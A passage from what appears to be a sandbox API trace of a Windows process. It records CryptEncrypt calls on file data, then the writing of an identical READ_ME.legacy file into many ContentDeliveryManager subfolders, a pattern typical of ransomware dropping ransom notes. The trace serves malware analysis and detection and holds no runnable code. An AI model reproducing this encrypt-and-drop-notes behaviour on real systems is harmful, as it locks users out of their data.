lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0179.787] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1) returned 0x5c3518 [0179.787] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1) returned 0x5c3448 [0179.787] ReadFile (in: hFile=0x1ae0, lpBuffer=0x5c3518, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0179.787] SetFilePointer (in: hFile=0x1ae0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.787] WriteFile (in: hFile=0x1ae0, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0179.787] SetFilePointer (in: hFile=0x1ae0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0179.788] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0179.788] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0179.788] WriteFile (in: hFile=0x1ae0, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0179.789] WriteFile (in: hFile=0x1ae0, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0179.789] CloseHandle (hObject=0x1ae0) returned 1 [0179.790] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\INetHistory\\BackgroundTransferApiGroup\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc833db71, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc833db71, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xf5b23109, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f73870 [0179.790] FindNextFileW (in: hFindFile=0x2f73870, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc833db71, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc833db71, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xf5b23109, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0179.790] FindNextFileW (in: hFindFile=0x2f73870, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf5b23109, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf5b23109, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf5b23109, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0179.790] FindNextFileW (in: hFindFile=0x2f73870, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf5b23109, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf5b23109, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf5b23109, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0179.790] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x110) returned 0x61d308 [0179.791] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1e2a2f0, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdd597b03, ftLastAccessTime.dwHighDateTime=0x1d327e6, ftLastWriteTime.dwLowDateTime=0xf7e5ef96, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f736b0 [0179.791] FindNextFileW (in: hFindFile=0x2f736b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1e2a2f0, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdd597b03, ftLastAccessTime.dwHighDateTime=0x1d327e6, ftLastWriteTime.dwLowDateTime=0xf7e5ef96, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0179.791] FindNextFileW (in: hFindFile=0x2f736b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc8c8f68d, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xe8aa796b, ftLastAccessTime.dwHighDateTime=0x1d327e6, ftLastWriteTime.dwLowDateTime=0xe8aa796b, ftLastWriteTime.dwHighDateTime=0x1d327e6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="202914", cAlternateFileName="")) returned 1 [0179.791] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\202914\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\202914\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ae8 [0179.796] WriteFile (in: hFile=0x1ae8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0179.797] CloseHandle (hObject=0x1ae8) returned 1 [0179.797] FindNextFileW (in: hFindFile=0x2f736b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1e2a2f0, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x51556bba, ftLastAccessTime.dwHighDateTime=0x1d32719, ftLastWriteTime.dwLowDateTime=0x51556bba, ftLastWriteTime.dwHighDateTime=0x1d32719, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="210469", cAlternateFileName="")) returned 1 [0179.797] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\210469\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\210469\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ae8 [0179.799] WriteFile (in: hFile=0x1ae8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0179.800] CloseHandle (hObject=0x1ae8) returned 1 [0179.800] FindNextFileW (in: hFindFile=0x2f736b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc8a2d0a7, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xe7d37eb5, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xe7d37eb5, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="210509", cAlternateFileName="")) returned 1 [0179.800] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\210509\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\210509\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ae8 [0179.802] WriteFile (in: hFile=0x1ae8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0179.803] CloseHandle (hObject=0x1ae8) returned 1 [0179.803] FindNextFileW (in: hFindFile=0x2f736b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc89e0c44, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdcb9ba8c, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0xdcb9ba8c, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="214513", cAlternateFileName="")) returned 1 [0179.804] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\214513\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\214513\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ae8 [0179.806] WriteFile (in: hFile=0x1ae8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0179.807] CloseHandle (hObject=0x1ae8) returned 1 [0179.807] FindNextFileW (in: hFindFile=0x2f736b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb619b0e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xaa6b70e0, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0xaa6b70e0, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="243289", cAlternateFileName="")) returned 1 [0179.807] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\243289\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\243289\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ae8 [0179.815] WriteFile (in: hFile=0x1ae8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0179.816] CloseHandle (hObject=0x1ae8) returned 1 [0179.816] FindNextFileW (in: hFindFile=0x2f736b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x235399a, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x25417c04, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x25417c04, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="243292", cAlternateFileName="")) returned 1 [0179.816] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\243292\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\243292\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ae8 [0179.818] WriteFile (in: hFile=0x1ae8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0179.819] CloseHandle (hObject=0x1ae8) returned 1 [0179.819] FindNextFileW (in: hFindFile=0x2f736b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfed624f3, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xaabc7b4a, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0xaabc7b4a, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="279978", cAlternateFileName="")) returned 1 [0179.819] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\279978\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\279978\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ae8 [0179.830] WriteFile (in: hFile=0x1ae8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0179.831] CloseHandle (hObject=0x1ae8) returned 1 [0179.832] FindNextFileW (in: hFindFile=0x2f736b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x239fe4e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa6b72c16, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0xa6b72c16, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="279986", cAlternateFileName="")) returned 1 [0179.832] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\279986\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\279986\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ae8 [0179.834] WriteFile (in: hFile=0x1ae8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0179.835] CloseHandle (hObject=0x1ae8) returned 1 [0179.835] FindNextFileW (in: hFindFile=0x2f736b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x41554e17, ftCreationTime.dwHighDateTime=0x1d32747, ftLastAccessTime.dwLowDateTime=0x821ae63c, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x821ae63c, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="280810", cAlternateFileName="")) returned 1 [0179.835] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280810\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280810\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ae8 [0179.848] WriteFile (in: hFile=0x1ae8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0179.849] CloseHandle (hObject=0x1ae8) returned 1 [0179.849] FindNextFileW (in: hFindFile=0x2f736b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x416d25ac, ftCreationTime.dwHighDateTime=0x1d32747, ftLastAccessTime.dwLowDateTime=0x8a8a5304, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x8a8a5304, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="280811", cAlternateFileName="")) returned 1 [0179.849] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280811\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280811\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ae8 [0179.853] WriteFile (in: hFile=0x1ae8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0179.854] CloseHandle (hObject=0x1ae8) returned 1 [0179.854] FindNextFileW (in: hFindFile=0x2f736b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3be9e93, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x35a99a0d, ftLastAccessTime.dwHighDateTime=0x1d327c2, ftLastWriteTime.dwLowDateTime=0x35a99a0d, ftLastWriteTime.dwHighDateTime=0x1d327c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="280813", cAlternateFileName="")) returned 1 [0179.854] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280813\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280813\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ae8 [0179.859] WriteFile (in: hFile=0x1ae8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0179.860] CloseHandle (hObject=0x1ae8) returned 1 [0179.860] FindNextFileW (in: hFindFile=0x2f736b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3c100a2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xb0a11d08, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xb0a11d08, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="280815", cAlternateFileName="")) returned 1 [0179.860] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280815\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280815\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ae8 [0179.863] WriteFile (in: hFile=0x1ae8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0179.864] CloseHandle (hObject=0x1ae8) returned 1 [0179.864] FindNextFileW (in: hFindFile=0x2f736b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x464fb0dc, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xaa1a6676, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0xaa1a6676, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="280819", cAlternateFileName="")) returned 1 [0179.864] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280819\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280819\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ae8 [0179.875] WriteFile (in: hFile=0x1ae8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0179.876] CloseHandle (hObject=0x1ae8) returned 1 [0179.876] FindNextFileW (in: hFindFile=0x2f736b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4605c7d4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x4605c7d4, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x4605c7d4, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="296333", cAlternateFileName="")) returned 1 [0179.876] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\296333\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\296333\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ae8 [0179.877] WriteFile (in: hFile=0x1ae8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0179.878] CloseHandle (hObject=0x1ae8) returned 1 [0179.878] FindNextFileW (in: hFindFile=0x2f736b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x48361179, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x49247e6e, 